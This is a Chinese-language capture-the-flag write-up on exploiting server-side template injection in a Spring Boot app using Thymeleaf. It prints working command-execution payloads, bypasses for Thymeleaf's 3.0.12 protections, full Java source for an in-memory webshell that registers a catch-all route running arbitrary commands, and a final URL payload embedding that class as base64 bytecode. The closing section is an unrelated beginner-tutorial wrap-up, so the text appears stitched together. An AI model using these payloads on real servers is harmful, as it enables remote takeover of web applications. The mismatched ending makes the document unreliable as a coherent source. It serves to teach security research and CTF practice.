和一个并没有回显的 /doc/{data} ,访问的话总是一个报错界面,这里后端写的是一个 LoggerFactory.getLogger 用来在 IDE 控制台打印日志,便于开发,是 slf4j 的一个种应用。
这里用到了 Springboot 的两个参数 @RequestParam 以及 @PathVariable
这里@RequestParam 以及 @PathVariable实际上就两种获取参数的方式
- @RequestParam 是从 request 里面拿取值
- @PathVariable 是从一个URI模板里面来填充
也就是 http://exmple.com/**?param=RequestParam **以及 http://exmple.com/{data}/ => http://exmple.com/**PathVariable** 具体的设置方式看题目里这个代码也很清楚
同时还有一个 @ResponseBody 注解
@ResponseBody 这个注解通常使用在控制层(controller)的方法上,将方法的返回值,以特定的格式写入到response的body区域,进而将数据返回给客户端。
当方法上面没有写ResponseBody,底层会将方法的返回值封装为ModelAndView对象,如果返回值是字符串,那么直接将字符串写到客户端;如果是一个对象,会将对象转化为json串,然后写到客户端。
也就是说,我们这里的 path 路由因为有 @ResponseBody 注解已经无法实现表达式注入了
/doc/{data} 这个路由没有使用@ResponseBody 进行注解,因此即使没有 return 情况下也是存在注入可能的
Thymeleaf SSTI
在这位置尝试打 Thymeleaf 的Payload __$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
可以在我们本地的终端看到报错 View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons. 显然是我们的 SSTI payload 被墙了,这里是因为版本问题,thymeleaf 3.0.12 的文档中我们可以看到
也就是说,SSTI 漏洞修复了,修复方式是再 util 目录下新增了一个 SpringStandardExpressionUtils.java 文件来进行防护,具体的内容会写一个专门的分析文章,这里先看题目
我们可以对这里进行绕过,有两种方式 //path/payload 以及 /path;/payload 不过这里实测出来的并不是这两种,前面的这种并不能绕过,不过 /path/;/payload 这种类似于 Shiro 的绕过方式也可以正常绕过,当然原理可能是和后面那种一样的。
http://127.0.0.1:8080/doc/;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
不过这里及时绕过了这一处,后续仍然存在问题
Invalid template name specification: ,这里是因为没有 return viewTemplateName 或者 Fragment 中的任何一个,具体原因分析一遍之后可能会更清楚一写,先写用到的具体的修复方式是:
http://127.0.0.1:8080/doc/;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::main.x
又返回了新的报错,这里涉及了 T 这个关键字的绕过,可以参考三梦师傅提交的 issue https://github.com/thymeleaf/thymeleaf-spring/issues/256,在T后面添加空格%20进行绕过,因为我这里是在windows起的,所以换一个命令,payload:
http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22whoami%22)%7D__::main.x
虽然显示 500 错误,但从console 打印的日志可以看出来的确已经执行成功了。
但是这里既没有回显也没有办法进行写入,并且机器不出网,所以这里只能考虑在应用上注入 回显内存马,读取 flag 回显结果。
打回显内存马
关于内存马的内容掌握的还是太少,这里只能说是照葫芦画瓢先用用了
https://www.anquanke.com/post/id/198886
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
两篇相关的文章,具体关键要素如下:
- 改良 SPEL 执行 Java 字节码的 Payload主要进行了如下优化:
解决BCEL/js引擎兼容性问题
解决base64在不同版本jdk的兼容问题
可多次运行同类名字节码
解决可能导致的ClassNotFound问题
最终 Payload :
- Spring 层内存马c0ny1师傅所写的内存马见 这里 ,大体的逻辑就是利用 HandlerMapping 注册一个映射关系,通过映射关系让 HandlerAdapter 执行到内存马,最后返回一个 HandlerResultHandler 可以处理的结果类型。c0ny1师傅的内存马中HandlerMapping 选用了RequestMappingHandlerMapping,然后 RequestMappingHandlerMapping 的获取使用的方式是从 SPEL 的上下文的 bean 中获取,具体见文章内容。最终的结果就是得到了一个 @RequestMapping("/*") 等效的内存马但由于这道题里面并没有用 Spring cloud gateway 组件,所以原代码中利用 org.springframework.web.reactive.HandlerMapping 来注册 registerHandlerMethod 就会报错找不到对应的类。
- registerMapping 注册 registerMapping在 spring 4.0 及以后,可以使用 registerMapping 直接注册 requestMapping ,这是最直接的一种方式。registerMapping 的原型函数如下
public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}
this.mappingRegistry.register(mapping, handler, method);
}
将我们执行命令的方法注册进去即可,也就是:还有一部分详细的配置,写在下面了
内存马恶意类
c0ny1原版马
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
改造后马
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*"); //这里直接注册
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
msg = "inject-success";
}catch (Exception e){
e.printStackTrace();
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
主要就是结合了 这里 的 registerMapping 注册 registerMapping
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
利用 SPEL 加载恶意类
利用 org.springframework.cglib.core.ReflectUtils#defineClass 方法,只要传入 类名、类 的字节码 字节数组 和 类加载器就可以加载恶意类
后续的点就是上面提到过的 从 SPEL 的上下文的 bean 中获取 类,也就是利用 SpringRequestMappingMemshell#doInject() 进行一个 getBean 的行为
T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))
整体如下:
T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAkwoABgBOCABPCgAGAFAIADAHAFEHAFIHAFMKAAUAVAoABwBVBwBWCAAyBwBXCgAFAFgHAFkIAFoKAA4AWwcAXAcAXQoAEQBeBwBfCgAUAGAKAAoATgoABwBhCABiBwBjCgAZAGQIAGUHAGYKAGcAaAoAZwBpCgBqAGsKABwAbAgAbQoAHABuCgAcAG8HAHAJAHEAcgoAJABzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbDsBAAhkb0luamVjdAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAPcmVnaXN0ZXJNYXBwaW5nAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAGHBhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAF21ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcBABJMamF2YS9sYW5nL09iamVjdDsBAANtc2cBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBSBwBXBwBjAQAQTWV0aG9kUGFyYW1ldGVycwEAPShMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAANjbWQBAApleGVjUmVzdWx0AQAKRXhjZXB0aW9ucwcAdAEAIlJ1bnRpbWVWaXNpYmxlUGFyYW1ldGVyQW5ub3RhdGlvbnMBADZMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RQYXJhbTsBAAV2YWx1ZQEAClNvdXJjZUZpbGUBACFTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsLmphdmEMACcAKAEADGluamVjdC1zdGFydAwAdQB2AQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAwAdwB4DAB5AHoBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwwAewB4AQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAAi8qDAAnAHwBAExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2QMACcAfQEAPW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MACcAfgwAfwCAAQAOaW5qZWN0LXN1Y2Nlc3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uDACBACgBAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAggwAgwCEDACFAIYHAIcMAIgAiQwAJwCKAQACXEEMAIsAjAwAjQCOAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5BwCPDACQAJEMACcAkgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBABFnZXREZWNsYXJlZE1ldGhvZAEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBADsoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspVgEB9ihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhcmFtc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0NvbnN1bWVzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1Byb2R1Y2VzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACgAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADAArAAAADAABAAAABQAsAC0AAAAJAC4ALwACACkAAAFZAAkABwAAAJQSAkwqtgADEgQGvQAFWQMSBlNZBBIGU1kFEgdTtgAITSwEtgAJEgoSCwS9AAVZAxIMU7YADU67AA5ZBL0ADFkDEg9TtwAQOgS7ABFZA70AErcAEzoFuwAUWRkEGQUBAQEBAbcAFToGLCoGvQAGWQMZBlNZBLsAClm3ABZTWQUtU7YAF1cSGEynAAtNLLYAGhIbTCuwAAEAAwCHAIoAGQADACoAAAA6AA4AAAAOAAMAEAAgABEAJQASADYAEwBIABQAVQAVAGcAFgCEABcAhwAbAIoAGACLABkAjwAaAJIAHAArAAAAUgAIACAAZwAwADEAAgA2AFEAMgAxAAMASAA/ADMANAAEAFUAMgA1ADYABQBnACAANwA4AAYAiwAHADkAOgACAAAAlAA7ADwAAAADAJEAPQA+AAEAPwAAABMAAv8AigACBwBABwBBAAEHAEIHAEMAAAAFAQA7AAAAAQAyAEQABAApAAAAaAAEAAMAAAAmuwAcWbgAHSu2AB62AB+3ACASIbYAIrYAI027ACRZLLIAJbcAJrAAAAACACoAAAAKAAIAAAAgABoAIQArAAAAIAADAAAAJgAsAC0AAAAAACYARQA+AAEAGgAMAEYAPgACAEcAAAAEAAEASABDAAAABQEARQAAAEkAAAAMAQABAEoAAQBLcwBFAAEATAAAAAIATQ=="),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))
由于绕过的需要们这里的每一个 T 的后面都要又一个 空格
Apache Tomcat 9 url 包含特殊字符处理与替代技巧
直接打没打进去
这里返回了一个404页面,也没有任何反应,这里是因为 tomcat 在解析的时候解析了我们 base64 传入的 class 中的 / tomcat 会认为这是一个路径关键字,会找对应的路由,找不到就会报404
但是如果我们直接进行编码的话就会报 400
这里我们借助了 org.springframework.util.Base64Utils.encodeToUrlSafeString 这个类来避免出现这种问题,encodeToUrlSafeString 会将我们的 / 替换为 _ 这样就避免了解析成路径的问题,我们可以这样进行替换
接下来仍然报错
这里还需要绕过一个 new 关键字的检测,具体会再发一篇文章单独写调试什么的。
最终 Payload 如下:
http://localhost:8080/doc/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAoQoACQBRCABSCgBTAFQIAFUKAFMAVgoACQBXCAAzBwBYBwBZBwBaCgAIAFsKAAoAXAcAXQgANQcAXgoACABfBwBgCABhCgARAGIHAGMHAGQKABQAZQcAZgoAFwBnCgANAFEKAAoAaAgAaQcAagoAHABrCABsCQBtAG4KAG8AcAcAcQoAcgBzCgAhAHQIAHUKACEAdgoAIQB3BwB4CQB5AHoKACcAewEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAD3JlZ2lzdGVyTWFwcGluZwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBABhwYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBABdtZXRob2RzUmVxdWVzdENvbmRpdGlvbgEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAWQcAXgcAagEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAHwBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAqACsBAAxpbmplY3Qtc3RhcnQHAH0MAH4AfwEACGNhbGMuZXhlDACAAIEMAIIAgwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAIQAhQwAhgCHAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcMAIgAhQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAAIvKgwAKgCJAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAAqAIoBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAAqAIsMAIwAjQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAjgArAQAMaW5qZWN0LWVycm9yBwCPDACQAJEHAJIMAJMAlAEAEWphdmEvdXRpbC9TY2FubmVyBwCVDACWAJcMACoAmAEAAlxBDACZAJoMAJsAnAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAnQwAngCfDAAqAKABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEWdldERlY2xhcmVkTWV0aG9kAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQANAAkAAAAAAAMAAQAqACsAAQAsAAAALwABAAEAAAAFKrcAAbEAAAACAC0AAAAGAAEAAAAMAC4AAAAMAAEAAAAFAC8AMAAAAAkAMQAyAAIALAAAAXEACQAHAAAApBICTLgAAxIEtgAFVyq2AAYSBwa9AAhZAxIJU1kEEglTWQUSClO2AAtNLAS2AAwSDRIOBL0ACFkDEg9TtgAQTrsAEVkEvQAPWQMSElO3ABM6BLsAFFkDvQAVtwAWOgW7ABdZGQQZBQEBAQEBtwAYOgYsKga9AAlZAxkGU1kEuwANWbcAGVNZBS1TtgAaVxIbTKcAEk0stgAdEh5MsgAfLLYAICuwAAEAAwCQAJMAHAADAC0AAABCABAAAAAOAAMAEAAMABEAKQASAC4AEwA_ABQAUQAVAF4AFgBwABcAjQAYAJAAHQCTABkAlAAaAJgAGwCbABwAogAeAC4AAABSAAgAKQBnADMANAACAD8AUQA1ADQAAwBRAD8ANgA3AAQAXgAyADgAOQAFAHAAIAA6ADsABgCUAA4APAA9AAIAAACkAD4APwAAAAMAoQBAAEEAAQBCAAAAEwAC_wCTAAIHAEMHAEQAAQcARQ4ARgAAAAUBAD4AAAABADUARwAEACwAAABoAAQAAwAAACa7ACFZuAADK7YABbYAIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAACMAGgAkAC4AAAAgAAMAAAAmAC8AMAAAAAAAJgBIAEEAAQAaAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAATAAAAAwBAAEATQABAE5zAEgAAQBPAAAAAgBQ"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x
成功写入内存马,getshell。
总结
到这里本次Thymeleaf的入门学习就结束了,通过本次学习你可能更深入了解了Thymeleaf以及模板引擎,也对Thymeleaf的动静分离、开箱即用的一些特性估计有了更深入的了解。你也具备Thymeleaf的基本使用能力,能够用Thymeleaf进行网页的快速开发……
但Thymeleaf的内容绝非只有这么一点点,本篇旨在带你从一个对Thymeleaf概念为零的状态到一个能够较为清晰明了的认识和使用Thymeleaf,对于Thymeleaf的内容远远不止上面所涉及到的,对于一些算术运算、条件表达式等等其他内容还需要你自己到Thymeleaf官网去学习研究。
Thymeleaf是一种Java模板引擎,被Springboot官方推荐,大大提高开发效率,提高代码复用率。虽然在当今Ajax更为流行,但对于后端开发工程师掌握Thymeleaf,拥有快速开发网页能力,还是很有必要的!本篇就到这里了,我们下次再见!
- 点赞
- 收藏
- 关注作者
评论(0)